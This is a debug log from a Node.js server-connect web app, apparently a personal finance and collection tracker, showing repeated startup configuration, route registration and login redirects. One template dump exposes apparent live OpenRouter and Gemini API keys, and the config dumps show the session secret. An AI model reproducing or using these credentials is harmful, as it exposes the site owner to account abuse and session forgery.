2026-06-05T02:08:24.240Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-05T02:08:24.241Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-05T02:08:24.241Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-05T02:08:24.241Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-05T02:08:24.241Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-05T02:08:24.241Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-05T02:08:24.242Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-05T02:08:24.242Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-05T02:08:24.242Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-05T02:08:24.242Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-05T02:08:24.242Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-05T02:08:24.345Z server-connect:router Serving templateView /
2026-06-05T02:08:24.349Z server-connect:app Executing action step identify
2026-06-05T02:08:24.349Z server-connect:app options: { provider: 'security' }
2026-06-05T02:08:24.351Z server-connect:auth No login cookie found
2026-06-05T02:08:24.351Z server-connect:output identity: false
2026-06-05T02:08:24.351Z server-connect:app Executing action step restrict
2026-06-05T02:08:24.351Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-05T02:08:24.355Z server-connect:output restrict: undefined
2026-06-05T02:11:20.353Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-05T02:11:20.525Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-05T02:11:20.608Z server-connect:setup:upload Upload middleware configured.
2026-06-05T02:11:20.609Z server-connect:secure CSRF Protection initialized
2026-06-05T02:11:20.611Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-05T02:11:20.612Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-05T02:11:20.613Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-05T02:11:20.613Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-05T02:11:20.614Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-05T02:11:20.615Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-05T02:11:20.615Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-05T02:11:20.616Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-05T02:11:20.619Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-05T02:11:20.619Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-05T02:11:20.620Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-05T02:11:20.620Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-05T02:11:20.620Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-05T02:11:20.621Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-05T02:11:20.621Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-05T02:11:20.621Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-05T02:11:20.621Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-05T02:11:20.622Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-05T02:11:20.622Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-05T02:11:20.622Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-05T02:11:20.623Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-05T02:11:20.623Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-05T02:11:20.623Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-05T02:11:20.623Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-05T02:11:20.624Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-05T02:11:20.624Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-05T02:11:20.624Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-05T02:11:20.624Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-05T02:11:20.625Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-05T02:11:20.625Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-05T02:11:20.625Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-05T02:11:20.625Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-05T02:11:20.625Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-05T02:11:20.626Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-05T02:11:20.626Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-05T02:11:20.626Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-05T02:11:20.626Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-05T02:11:20.626Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-05T02:11:20.737Z server-connect:router Serving templateView /login
2026-06-05T02:11:20.741Z server-connect:app Executing action step identify
2026-06-05T02:11:20.741Z server-connect:app options: { provider: 'security' }
2026-06-05T02:11:20.743Z server-connect:auth No login cookie found
2026-06-05T02:11:20.743Z server-connect:output identity: false
2026-06-05T02:11:20.743Z server-connect:router Render template layouts/authentication
2026-06-05T02:11:20.744Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    xxxxxxxxxx: 'close',
    'user-agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'accept-language': 'en-US,en;q=0.5',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '91.196.152.150',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-06T02:11:20.734Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '91.196.152.150',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_XXXXXXXXXX: 'close',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '91.196.152.150',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-05T02:17:39.460Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-05T02:17:39.628Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-05T02:17:39.717Z server-connect:setup:upload Upload middleware configured.
2026-06-05T02:17:39.717Z server-connect:secure CSRF Protection initialized
2026-06-05T02:17:39.719Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-05T02:17:39.721Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-05T02:17:39.721Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-05T02:17:39.722Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-05T02:17:39.722Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-05T02:17:39.723Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-05T02:17:39.724Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-05T02:17:39.725Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-05T02:17:39.727Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-05T02:17:39.728Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-05T02:17:39.728Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-05T02:17:39.728Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-05T02:17:39.729Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-05T02:17:39.729Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-05T02:17:39.729Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-05T02:17:39.730Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-05T02:17:39.730Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-05T02:17:39.730Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-05T02:17:39.730Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-05T02:17:39.731Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-05T02:17:39.731Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-05T02:17:39.731Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-05T02:17:39.732Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-05T02:17:39.732Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-05T02:17:39.732Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-05T02:17:39.732Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-05T02:17:39.732Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-05T02:17:39.733Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-05T02:17:39.733Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-05T02:17:39.733Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-05T02:17:39.733Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-05T02:17:39.734Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-05T02:17:39.734Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-05T02:17:39.734Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-05T02:17:39.734Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-05T02:17:39.734Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-05T02:17:39.735Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-05T02:17:39.735Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-05T02:17:39.844Z server-connect:router Serving templateView /
2026-06-05T02:17:39.848Z server-connect:app Executing action step identify
2026-06-05T02:17:39.848Z server-connect:app options: { provider: 'security' }
2026-06-05T02:17:39.850Z server-connect:auth No login cookie found
2026-06-05T02:17:39.850Z server-connect:output identity: false
2026-06-05T02:17:39.850Z server-connect:app Executing action step restrict
2026-06-05T02:17:39.850Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-05T02:17:39.854Z server-connect:output restrict: undefined
2026-06-05T02:23:01.259Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-05T02:23:01.435Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-05T02:23:01.529Z server-connect:setup:upload Upload middleware configured.
2026-06-05T02:23:01.529Z server-connect:secure CSRF Protection initialized
2026-06-05T02:23:01.531Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-05T02:23:01.533Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-05T02:23:01.533Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-05T02:23:01.534Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-05T02:23:01.534Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-05T02:23:01.535Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-05T02:23:01.536Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-05T02:23:01.536Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-05T02:23:01.537Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-05T02:23:01.540Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-05T02:23:01.540Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-05T02:23:01.541Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-05T02:23:01.541Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-05T02:23:01.542Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-05T02:23:01.542Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-05T02:23:01.543Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-05T02:23:01.543Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-05T02:23:01.543Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-05T02:23:01.544Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-05T02:23:01.544Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-05T02:23:01.544Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-05T02:23:01.545Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-05T02:23:01.545Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-05T02:23:01.545Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-05T02:23:01.545Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-05T02:23:01.546Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-05T02:23:01.546Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-05T02:23:01.546Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-05T02:23:01.546Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-05T02:23:01.546Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-05T02:23:01.547Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-05T02:23:01.576Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-05T02:23:01.577Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-05T02:23:01.577Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-05T02:23:01.577Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-05T02:23:01.578Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-05T02:23:01.578Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-05T02:23:01.578Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-05T02:23:01.655Z server-connect:router Serving templateView /
2026-06-05T02:23:01.660Z server-connect:app Executing action step identify
2026-06-05T02:23:01.660Z server-connect:app options: { provider: 'security' }
2026-06-05T02:23:01.678Z server-connect:auth No login cookie found
2026-06-05T02:23:01.679Z server-connect:output identity: false
2026-06-05T02:23:01.679Z server-connect:app Executing action step restrict
2026-06-05T02:23:01.679Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-05T02:23:01.684Z server-connect:output restrict: undefined
2026-06-05T02:48:33.032Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-05T02:48:33.204Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-05T02:48:33.283Z server-connect:setup:upload Upload middleware configured.
2026-06-05T02:48:33.284Z server-connect:secure CSRF Protection initialized
2026-06-05T02:48:33.286Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-05T02:48:33.287Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-05T02:48:33.288Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-05T02:48:33.288Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-05T02:48:33.289Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-05T02:48:33.289Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-05T02:48:33.290Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-05T02:48:33.291Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-05T02:48:33.293Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-05T02:48:33.294Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-05T02:48:33.294Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-05T02:48:33.294Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-05T02:48:33.295Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-05T02:48:33.295Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-05T02:48:33.295Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-05T02:48:33.296Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-05T02:48:33.296Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-05T02:48:33.296Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-05T02:48:33.297Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-05T02:48:33.297Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-05T02:48:33.297Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-05T02:48:33.297Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-05T02:48:33.298Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-05T02:48:33.298Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-05T02:48:33.298Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-05T02:48:33.298Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-05T02:48:33.299Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-05T02:48:33.299Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-05T02:48:33.299Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-05T02:48:33.299Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-05T02:48:33.299Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-05T02:48:33.300Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-05T02:48:33.300Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-05T02:48:33.300Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-05T02:48:33.300Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-05T02:48:33.300Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-05T02:48:33.301Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-05T02:48:33.301Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-05T02:48:33.409Z server-connect:router Serving templateView /
2026-06-05T02:48:33.413Z server-connect:app Executing action step identify
2026-06-05T02:48:33.413Z server-connect:app options: { provider: 'security' }
2026-06-05T02:48:33.415Z server-connect:auth No login cookie found
2026-06-05T02:48:33.415Z server-connect:output identity: false
2026-06-05T02:48:33.415Z server-connect:app Executing action step restrict
2026-06-05T02:48:33.415Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-05T02:48:33.419Z server-connect:output restrict: undefined
2026-06-05T02:58:26.998Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-05T02:58:27.145Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-05T02:58:27.232Z server-connect:setup:upload Upload middleware configured.
2026-06-05T02:58:27.233Z server-connect:secure CSRF Protection initialized
2026-06-05T02:58:27.234Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-05T02:58:27.236Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-05T02:58:27.237Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-05T02:58:27.237Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-05T02:58:27.238Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-05T02:58:27.238Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-05T02:58:27.239Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-05T02:58:27.240Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-05T02:58:27.242Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-05T02:58:27.243Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-05T02:58:27.243Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-05T02:58:27.243Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-05T02:58:27.244Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-05T02:58:27.244Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-05T02:58:27.244Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-05T02:58:27.245Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-05T02:58:27.245Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-05T02:58:27.245Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-05T02:58:27.246Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-05T02:58:27.246Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-05T02:58:27.246Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-05T02:58:27.246Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-05T02:58:27.247Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-05T02:58:27.247Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-05T02:58:27.247Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-05T02:58:27.247Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-05T02:58:27.248Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-05T02:58:27.248Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-05T02:58:27.276Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-05T02:58:27.276Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-05T02:58:27.277Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-05T02:58:27.277Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-05T02:58:27.277Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
